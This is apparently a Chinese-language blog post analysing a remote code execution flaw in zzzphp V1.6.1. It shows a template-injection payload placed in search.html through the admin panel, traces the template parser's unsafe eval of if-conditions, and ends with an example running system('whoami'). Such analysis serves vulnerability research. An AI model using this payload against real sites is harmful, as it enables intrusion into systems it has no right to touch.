zzzphp V1.6.1 远程代码执行漏洞分析

  1. 漏洞复现
  2. 漏洞分析

这是一个通过模板来进行命令执行的一个例子,第一次遇到,很有趣。

漏洞复现

本地搭建好环境,登录后台,找到模板管理–>模板管理:

然后找到cn2016/html/search.html(其实也就是网站下/zzzphp/template/pc/cn2016/html/search.html),将里面的代码修改或者添加:

1
{if:assert($_request[phpinfo()])}phpinfo();{end if}

然后我们再访问 http://127.0.0.1/zzzphp/search/

看见phpinfo已经执行出来了,怎么出来的,能够怎么利用,目前还不知道,跟踪下源码吧。

漏洞分析

原来的search.html长这个样子。

首先我是跟踪到了search/index.php:

然后引用了 /inc/zzz_client.php ,跟踪下去

这里又引用了 zzz_template.php, 还不确定,先看一下。

这个文件里面有很多正则表达式,匹配了我们search.html中的{zzz:xxxx}

然后就一直往下看,在文件快结束的地方,找到了想要的代码。

有了eval函数,看来基本上就是这里了,接下来我们慢慢分析。

这里为了方便,写了一段测试代码,来看一下匹配之后的内容

1
2
3
4
5
6
<?php
$zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
preg_match_all( $pattern, $zcontent, $matches);
var_dump($matches)
?>

我们就晓得 $matches 变量的值了。

继续看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr1 = cleft( $ifstr, 0, 1 );
switch ( $ifstr1 ) {
case '=':
$ifstr = '0' . $ifstr;
break;
case '{':
case '[':
$ifstr = "'" . str_replace( "=", "'=", $ifstr );
break;
}
$ifstr = str_replace( '=', '==', $ifstr );
$ifstr = str_replace( '===', '==', $ifstr );
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

$ifstr 变量的值为 $matches[ 1 ][ $i ],我们这里也就是$matches[ 1 ][ 0 ],也就是 assert($_request[phpinfo()])

然后继续跟进,有一个cleft函数进行了处理,跟进:

这段代码的意思就是去除掉两边的空格之后,取出我们的第一个字符。

我们这里的 $ifstr 第一个字符 “{“ ,没啥用,最后就是:

1
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

我们这里吧 $ifstr 的值带进去。

1
@eval( 'if(assert($_request[phpinfo()])){$flag="if";}else{$flag="else";}' );

然后本地运行一下:

居然执行了~~~

神奇。

1
eval( 'if(system("whoami")){}else{}' );

看来里面是条件语句判断也行。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:zzzphp V1.6.1 远程代码执行漏洞分析

本文作者:sher10ck

发布时间:2019-08-04, 17:24:42

最后更新:2020-01-13, 13:05:21

原始链接:http://sherlocz.github.io/2019/08/04/zzzphp-V1-6-1-远程代码执行漏洞分析/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录